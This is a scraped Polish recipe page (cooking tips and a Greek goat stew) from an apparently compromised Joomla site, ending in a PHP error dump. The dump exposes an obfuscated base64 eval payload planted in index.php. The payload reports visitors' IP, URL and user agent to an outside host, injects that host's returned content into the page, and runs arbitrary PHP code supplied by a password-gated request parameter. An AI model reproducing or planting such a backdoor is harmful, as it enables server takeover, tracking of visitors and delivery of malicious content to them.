Smaczne panierki

Mięso należy panierować bezpośrednio przed smażeniem. Jeśli zrobimy to wcześniej, podczas smażenia wyparowuje z niego sok. Powoduje to oddzielenie się panierki od mięsa, które w ten sposób traci na wyglądzie i smaku.

You are at: Start
Mięso kozie duszone PDF Drukuj Email
Ocena użytkowników: / 0
SłabyŚwietny 
Kuchnie świata - Grecja

- 1.5 kg miesa koziego pokrojonego na porcje
- 1/2 szklanki oliwy
- 1 posiekana cebula
- 1 kg pomidorów
- sól
- pieprz
- 7 gał?zek świeżego tymianku
Mięso podsmaż w oliwie razem z cebul?. Gdy cebula się zeszkli dodaj 2 szklanki wody, przykryj i du? przez 30 minut.
Pomidory sparz, obierz ze skórki, pokrój na kawałki i dodaj do mięsa. Wrzuć tymianek (same listki), przypraw do smaku solą i pieprzem. Du? jeszcze 20 minut. Pod koniec duszenia możesz uzupełnić odparowaną wodę. Podawaj z chipsami ziemniaczanymi i dowolną sałatką

 

themesclub.com cms Joomla template
Copyright © 2007 by www.fun2you.org   -  All Rights Reserved.

Assertion failed!


Script: /home/sid266/public_html/przepisy-kulinarne/index.php
Line: 101
Condition:
eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgIHsgZXJyb3JfcmVwb3J0aW5nKDApOwppZighZW1wdHkoJF9DT09LSUVbImNsaWVudF9jaGVjayJdKSkgZGllKCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSk7CiR1cmwgPSAiaHR0cDovL3BlcnNvbmVycy5iaXovZ2V0LnBocD9pcD0iLnVybGVuY29kZSgkX1NFUlZFUlsiUkVNT1RFX0FERFIiXSkuIiZkPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJTRVJWRVJfTkFNRSJdLiRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdKS4iJnU9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKS4iJmk9MSZoPSIubWQ1KCJkNmExZWFkMGU4Y2ZlYzc2NGRlZjM1MDJlZDdhMDMzNTExIik7CmlmKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKJGNoID0gY3VybF9pbml0KCR1cmwpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwp9IGVsc2VpZihpbmlfZ2V0KCJhbGxvd191cmxfZm9wZW4iKSA9PSAxKSB7CiRpYnYgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKfQppZihpc3NldCgkX1JFUVVFU1RbInAiXSkgJiYgbWQ1KG1kNSgkX1JFUVVFU1RbInAiXSkpID09ICIzNjM0NDU0NTQyYmMzYWE1OTRlNmQ5NDFjM2IyZGE3ZCIpIHsgZXZhbChzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWyJjIl0pKTsgfQplY2hvICRpYnY7fQ=="));
variable value
$0"
key value
$function"debug_assert_callback"
[args]Nested Array
$1"
key value
$file"/home/sid266/public_html/przepisy-kulinarne/index.php"
$line"101"
$function"assert"
[args]Nested Array